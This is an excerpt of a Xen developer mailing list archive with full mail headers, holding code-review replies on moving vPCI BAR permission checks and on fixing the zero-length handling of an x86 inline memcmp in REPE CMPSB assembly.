	bh=xyrZrnO7UUfiAb9p2N/AvrPPLvs3tA1EnMk7suP4ZRY=; 
	b=nx4uVH0Y569ywsIYvIEriD20kAwAWCfWzu6px5EOuTEOzlqDl482PSJZpcpQCNZoOeh+/3Hm8XJ9B0/Wb+rCGALxIDAW/aFwzdcdl8W20iILc/fA69YlJOPz8VqH136pb//lCTbkz1trqyKFmGmplHu8lTBv+k8D1Ia822AxB4k=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1784837386;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=Message-ID:Date:Date:MIME-Version:Subject:Subject:To:To:Cc:Cc:From:From:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Reply-To;
	bh=xyrZrnO7UUfiAb9p2N/AvrPPLvs3tA1EnMk7suP4ZRY=;
	b=KsGpC0vPShCctCiNUDu1twotwDCggACy9LFHcWNdIyvzD6EQ7z/nj4oyx9t+84tf
	PC7zSr4dorjz2giL476tYlaKEWyDCkATjNAO4oAeATBVgcHaIHXMM5m3veoeND8J+OV
	jBRNPRcmCTGZU+5TU1rwWf9OFj/u8pLit/wOJk5c=
Message-ID: <9ee6c888-f0ca-402f-9b4f-64d9777cd41f@apertussolutions.com>
Date: Thu, 23 Jul 2026 16:09:53 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 1/9] vpci: move BAR mapping permissions checks
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Jan Beulich <jbeulich@suse.com>
Cc: Stewart Hildebrand <stewart.hildebrand@amd.com>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-2-stewart.hildebrand@amd.com>
 <0255d2bf-748e-444b-8c09-f69925ec88c4@suse.com>
 <amIrwLuIdOBaAi9d@macbook.local>
Content-Language: en-US
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
In-Reply-To: <amIrwLuIdOBaAi9d@macbook.local>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-c201ff/1784837394-72CB02A1-41A0C1FA/0/0
X-purgate-type: clean
X-purgate-size: 3489

On 7/23/26 10:57 AM, Roger Pau MonnÃ© wrote:
> On Thu, Jul 23, 2026 at 04:44:26PM +0200, Jan Beulich wrote:
>> On 08.07.2026 23:02, Stewart Hildebrand wrote:
>>> There's no need to defer the permissions checks. Perform them right away
>>> in modify_bars().
>>>
>>> As a result of the move, the permissions checks will now cover the whole
>>> BAR before any holes are removed.
>>
>> Is this a good idea though? A really good toolstack would avoid granting
>> access to e.g. the MSI-X table.
>>
>>> Carry over the domain_crash() in the error path for domUs.
>>
>> I don't think this is warranted.
>>
>>> --- a/xen/drivers/vpci/header.c
>>> +++ b/xen/drivers/vpci/header.c
>>> @@ -58,24 +58,6 @@ static int cf_check map_range(
>>>            * offset of the current address from the BAR start.
>>>            */
>>>           unsigned long map_mfn = start_mfn + s - start_gfn;
>>> -        unsigned long m_end = map_mfn + size - 1;
>>> -
>>> -        if ( !iomem_access_permitted(map->d, map_mfn, m_end) )
>>> -        {
>>> -            printk(XENLOG_G_WARNING
>>> -                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
>>> -                   map->d, map_mfn, m_end);
>>> -            return -EPERM;
>>> -        }
>>> -
>>> -        rc = xsm_iomem_mapping_vpci(XSM_HOOK, map->d, map_mfn, m_end, map->map);
>>> -        if ( rc )
>>> -        {
>>> -            printk(XENLOG_G_WARNING
>>> -                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
>>> -                   map->d, map_mfn, m_end, rc);
>>
>> I realize you literally only take what's here, but ...
>>
>>> @@ -369,6 +351,28 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
>>>               return -EINVAL;
>>>           }
>>>   
>>> +        if ( !iomem_access_permitted(pdev->domain, start, end) )
>>> +        {
>>> +            printk(XENLOG_G_WARNING
>>> +                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
>>> +                   pdev->domain, start, end);
>>> +            if ( !is_hardware_domain(pdev->domain) )
>>> +                domain_crash(pdev->domain);
>>> +            return -EPERM;
>>> +        }
>>> +
>>> +        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
>>> +                                    !!(cmd & PCI_COMMAND_MEMORY));
>>> +        if ( rc )
>>> +        {
>>> +            printk(XENLOG_G_WARNING
>>> +                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
>>> +                   pdev->domain, start, end, rc);
>>
>> ... is the logging of rc actually useful? Afaict it's only ever going to be
>> -EPERM.
> 
> I think Flask can also return -EACCES, not that it's very relevant I'm
> afraid.  It's likely too late now, but those XSM checks should instead
> return a bool to avoid this kind of confusion with the returned
> error? (or whether diverse return codes are indeed expected).

An XSM access check may return -EACCES as one of any number of error 
codes depending on which XSM module is loaded. I haven't traced this 
specific path but a quick grep for the direct FLASK hooks shows EPERM, 
EINVAL, ENOMEM, and ENOENT directly in the hooks themselves. This does 
not even include the error codes that could come from the AVC. This is a 
consist interface provided by all XSM calls and fairly standard behavior 
across any number of respectable kernels such as Linux.

v/r,
dps


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 22:00:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 22:00:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369629.1618201 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn1SQ-00059G-UN; Thu, 23 Jul 2026 21:59:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369629.1618201; Thu, 23 Jul 2026 21:59:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn1SQ-000599-Qw; Thu, 23 Jul 2026 21:59:58 +0000
Received: by outflank-mailman (input) for mailman id 1369629;
 Thu, 23 Jul 2026 21:59:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1wn1SO-000593-RX
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 21:59:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn1SO-0030l2-5N
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:59:56 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a628ecc-e002-0a2a0a5209dd-0a2a4508c8e8-12
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 23:59:55 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a628edb-f659-0a2a45080019-416d716ceb22-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 23:59:55 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id DB7A540E014C; 
 Thu, 23 Jul 2026 21:59:54 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id WsJnCXk2IarN; Thu, 23 Jul 2026 21:59:45 +0000 (UTC)
Received: from stx.tnic (unknown [IPv6:2600:1700:38ca:c00::1b])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id A4E7340E00E6;
 Thu, 23 Jul 2026 21:59:31 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1784843984; bh=7Jhx3OuJbEDdsSSsXaqPPUx169LpZd6Yo6COE6d5ndA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=Ax5QKjlE54yydhF+Sfo8H0cW6DIhOqKh71pUTskSTe6OgR0lyRpB/PQahU8BX0MSv
	 ynUhDTvRXKsdcardX/S6szI2T6dCMWVb49nzlUKY8t1nsoAnr85p+gO8nwtDfOlbqh
	 0TxhT4Lt1lliwbJ9RMcZdSh8+76DHSkyhM9i4YAC079uyYKY7w8up0ln88waElX3Ws
	 I1Adh4B0BdIDPzKxRakm7nNJQy/eG7dGxIKIA7BmRdpBcPn3Q5mAqHn8Dz5cIgvGpg
	 /n298iTumHy64OjY0ZJ5tdT3aYIXY28s5+fKOQ9djx9z7zlphgiTZSwTdzy9BPscnp
	 qNaUAluc2L9/P9eXvNn7qiFA/RBkqMar/yId54tn8kyJ25wl8gaMiqk7qz3douKQ9m
	 dNmCgsjkeVJWKEGC5DTNgpwFgtyaxB0LiMr4EaimA6CkR7YBBL7uqvoKcNXoAVg1qu
	 iG0ayGHepCIe8ArU8B8cY3/5wJI5u07gzRn0gthpBi2GQO+RFTozz1zHhUj82jV31m
	 mFwEJFcuXTg9ZtA3OPY5mQ1J5LrmsGqbTYGAtESOvSJeaZKHnouLrEjSygbRDqBH4c
	 qCefy9K+FgVC3S++daKtf+uiVnCNioB32mZUz34TYWb7PODayMYRkqa3PlR2NfWl5M
	 LEjKQ2InfHfeb4zyj6Fw6i0g=
Date: Thu, 23 Jul 2026 14:59:28 -0700
From: Borislav Petkov <bp@alien8.de>
To: Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>, Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 3/5] x86/asm: group inline string functions
Message-ID: <20260723215928.GBamKOwB3PIaHrQFbs@fat_crate.local>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-3-38979a50cef0@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <20260721-pvh-kasan-inline-v7-3-38979a50cef0@igalia.com>
X-purgate-ID: tlsNG-c1860d/1784843995-D4B7187B-AE6622F4/0/0
X-purgate-type: clean
X-purgate-size: 1384

On Tue, Jul 21, 2026 at 12:56:44PM -0300, Mauricio Faria de Oliveira wrote:
> Group the __inline string functions in the same header.
> 
> Use <asm/shared/string.h> since __inline_memcmp() must remain there for use
> by arch/x86/boot/string.c.

"No functional changes."

> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
> ---
>  arch/x86/include/asm/shared/string.h | 26 ++++++++++++++++++++++++++
>  arch/x86/include/asm/string.h        | 21 +--------------------
>  2 files changed, 27 insertions(+), 20 deletions(-)
> 
> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
> index 166274e44f3cb49e3dccab3cdac281d67aef5d44..9714fbda8b734e20686bfb88a6ca857bfee59e1a 100644
> --- a/arch/x86/include/asm/shared/string.h
> +++ b/arch/x86/include/asm/shared/string.h
> @@ -2,6 +2,32 @@
>  #ifndef _ASM_X86_SHARED_STRING_H
>  #define _ASM_X86_SHARED_STRING_H
>  
> +/*
> + * The __inline string functions are grouped in this file for consistency and
> + * for use by arch/x86/boot code due to limitations on including asm/string.h.

What limitations?

Either explain them or don't bother adding a comment. asm/shared/ is generally
an understood concept if you grep the tree and you don't really need a comment
here.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:13:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:13:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369655.1618210 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2bm-0006Wk-Or; Thu, 23 Jul 2026 23:13:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369655.1618210; Thu, 23 Jul 2026 23:13:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2bm-0006Wd-M0; Thu, 23 Jul 2026 23:13:42 +0000
Received: by outflank-mailman (input) for mailman id 1369655;
 Thu, 23 Jul 2026 23:13:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wn2bk-0006WM-Oy
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:13:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2bg-00A8PH-O2
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:13:37 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a62a007-5cb7-0a2a0a5109dd-0a2a4506cddc-20
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:13:36 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a62a01e-195a-0a2a45060019-c689ca88b3ec-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:13:35 +0200
Received: from [IPV6:2601:646:8081:7da1:14d6:374d:d1f7:d29c]
 ([IPv6:2601:646:8081:7da1:14d6:374d:d1f7:d29c])
 (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66NNCwoO3915882
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Thu, 23 Jul 2026 16:13:02 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66NNCwoO3915882
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784848383;
	bh=yGM4H+NKV/eCj832lsl0YUE76vaWUmRyALUU4TyU40o=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To:From;
	b=pl0j6OrZ7uVKrD6fTNUy6jPbIMhBpYHuCEuBisV/Ln1QqlAnthsrc//n2qAx1lPnj
	 MG9dcOYl8kjjQXxup1KyhQIKXRj8yo1m1LC7qN2o9qOvVrViYsFcEGQqK5sIxwe0zk
	 WPPEuDDTU4Fxjr5hKYolEANiY76Pk9tqFs5mLpn9gaWeyUXCJZd3luINB18vjZJgRq
	 VajvVhAHl5Lf6XbUsO9fY7BoOaUCC+ROX4CRL73jb7UrZnIQVBOlWhE+OxtR2FLqqa
	 5awTdUjFe9tlEf15rHjHCBjUXP6qv2quIlTZFCOFAz1oupu3EoJqfGI7ZKWRKlLi/m
	 AKJvoKvPx7Lgw==
Message-ID: <2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com>
Date: Thu, 23 Jul 2026 16:13:02 -0700
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
To: Brian Gerst <brgerst@gmail.com>
Cc: Borislav Petkov <bp@alien8.de>,
        Mauricio Faria de Oliveira <mfo@igalia.com>,
        Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com>
Content-Language: en-US, sv-SE
From: "H. Peter Anvin" <hpa@zytor.com>
In-Reply-To: <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784848416-FEC7777B-216E7DF7/0/0
X-purgate-type: clean
X-purgate-size: 3009

On 2026-07-23 12:37, Brian Gerst wrote:
> On Wed, Jul 22, 2026 at 2:53â€¯PM H. Peter Anvin <hpa@zytor.com> wrote:
>>
>> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8.de> wrote:
>>> hpa in To:.
>>>
>>> On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrote:
>>>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>>>> instruction reordering and optimization.
>>>>
>>>> Also check the zero-length case, as the 'repe' prefix does not run the
>>>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
>>>
>>> Please use capital letters for insns: REPE, CMPSB and you don't need to put
>>> words in '' - it reads fine without them.
>>>
>>>> the condition-code/zero flag, so the result is based on a stale flag.
>>>>
>>>> Those are pre-existing issues found by Sashiko.
>>>>
>>>> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
>>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>>>> ---
>>>>  arch/x86/include/asm/shared/string.h | 8 ++++++--
>>>>  1 file changed, 6 insertions(+), 2 deletions(-)
>>>>
>>>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>>>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
>>>> --- a/arch/x86/include/asm/shared/string.h
>>>> +++ b/arch/x86/include/asm/shared/string.h
>>>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
>>>>  {
>>>>      bool diff;
>>>>
>>>> -    asm("repe cmpsb"
>>>> -        : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>>>> +    if (len == 0)
>>>> +            return 0;
>>>> +
>>>> +    asm volatile("repe cmpsb"
>>>> +                 : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>>>> +                 : : "cc", "memory");
>>>>
>>>>      return diff;
>>>>  }
>>>
>>> So this is a fix which should probably go to stable, I think. Going back into
>>> git history, it points to
>>>
>>>  62bd0337d0c4 ("Top header file for new x86 setup code")
>>>
>> >from 2007. And we have carried it this way through the years and who knows
>>> what hit this or not. So please make this the first patch in your set - you
>>> can even send it separately so that I can get route it through stable.
>>>
>>> Then you can base the rest ontop.
>>>
>>> Thx.
>>>
>>
>> Also, this is silly. Instead of adding a whole separate test, just do "test %3,%3" before the repe to set ZF and let the REPE skip.
> 
> REPE does not check ZF before the first iteration.
> 
> From the Intel SDM:
> "When the REPE/REPZ and REPNE/REPNZ prefixes are used, the ZF flag
> does not require initialization because both
> the CMPS and SCAS instructions affect the ZF flag according to the
> results of the comparisons they make."
> 

The point was to ensure we have a valid result in ZF (which should be ZF=1)
even if len = 0.

	-hpa



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:13:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:13:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369656.1618215 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2bn-0006ZQ-06; Thu, 23 Jul 2026 23:13:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369656.1618215; Thu, 23 Jul 2026 23:13:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2bm-0006Yt-SU; Thu, 23 Jul 2026 23:13:42 +0000
Received: by outflank-mailman (input) for mailman id 1369656;
 Thu, 23 Jul 2026 23:13:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wn2bl-0006WX-Md
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:13:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2bk-00A8PH-VH
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:13:41 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a629fcf-5cb7-0a2a0a5109dd-0a2a450cce32-28
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:13:40 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a62a01e-f479-0a2a450c0019-c689ca88a876-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:13:35 +0200
Received: from [IPV6:2601:646:8081:7da1:14d6:374d:d1f7:d29c]
 ([IPv6:2601:646:8081:7da1:14d6:374d:d1f7:d29c])
 (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66NNCwoN3915882
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Thu, 23 Jul 2026 16:12:59 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66NNCwoN3915882
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784848380;
	bh=8PXTFQp+nc5iVg72qAvrsYZWp0ruRgVFKDvX1SpODZA=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To:From;
	b=Mgr/tfdGvfkXlD4MS+SPjW7hHK1yidys1xkpttHHbJUlxPm7b7xMyRLFnyMHxmYMW
	 51nrlM9UpGo2LnwQRysOl0IrVAmFvcHWLFQD1xBDpzz9MSWBuly8fp4gLvKn8VK1X3
	 lJ1KVRbhR5wK+OumlEjGzaXI8U9ReflDqRcaQmUBnyWwdD2GYy0yUrzMKc14YFgHPu
	 D2YjJg9pBDCu7f3skgUYAltAJjuKtM1iHwKMOlLiXTuuL6knxnwaY8PA9IRkNg2tao
	 jGrUiQ7Aiilb1VAFHI/ENrEu91vR36HX89vTrFuhDCwSNDkgTIfPk09woC6yEwOH24
	 bACxElX0CQXvA==
Message-ID: <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
Date: Thu, 23 Jul 2026 16:12:53 -0700
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
To: Jan Beulich <jbeulich@suse.com>,
        Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org,
        Borislav Petkov <bp@alien8.de>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
Content-Language: en-US, sv-SE
From: "H. Peter Anvin" <hpa@zytor.com>
In-Reply-To: <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1784848420-004CFA5B-22FB9C21/0/0
X-purgate-type: clean
X-purgate-size: 1495

On 2026-07-22 23:59, Jan Beulich wrote:
>>
>> Also, this is silly. Instead of adding a whole separate test, just do "test %3,%3" before the repe to set ZF and let the REPE skip.
> 
> Besides this, isn't the function effectively returning bool wrong anyway? This
> way you can use it for equal / not-equal comparisons, but not for sorting and
> alike.
> 
There is no use case in the early code for sorting, and it seems rather broken
to burden the code with that.

That being said it probably should return bool explicitly (it makes no sense
for the prototype to be different than the internal variable.)

We could call it memneq() if someone really, really cares, I guess.

The early code is very size-sensitive, so I'm really not fond of the idea of
burdening it further. Perhaps something like:

A memory clobber is ugly here since no memory is actually modified, although
it probably doesn't affect code; "cc" is completely redundant with condition
code output operand.

static __always_inline bool
__inline_memcmp(const void *s1, const void *s2, size_t len)
{
	bool diff;

	if (__builtin_constant_p(len == 0)) {
		if (!len)
			return false;
		asm volatile("repe cmpsb"
				: "=@ccnz" (diff),
				  "+D" (s1), "+S" (s2), "+c" (len)
				: : "memory");
	} else {
		/* Clear ZF beforehand in case len == 0 */
		asm volatile("test %3,%3; repe cmpsb"
				: "=@ccnz" (diff),
				  "+D" (s1), "+S" (s2), "+c" (len)
				: : "memory");
	}
	return diff;
}



From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:14:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:14:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369667.1618228 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
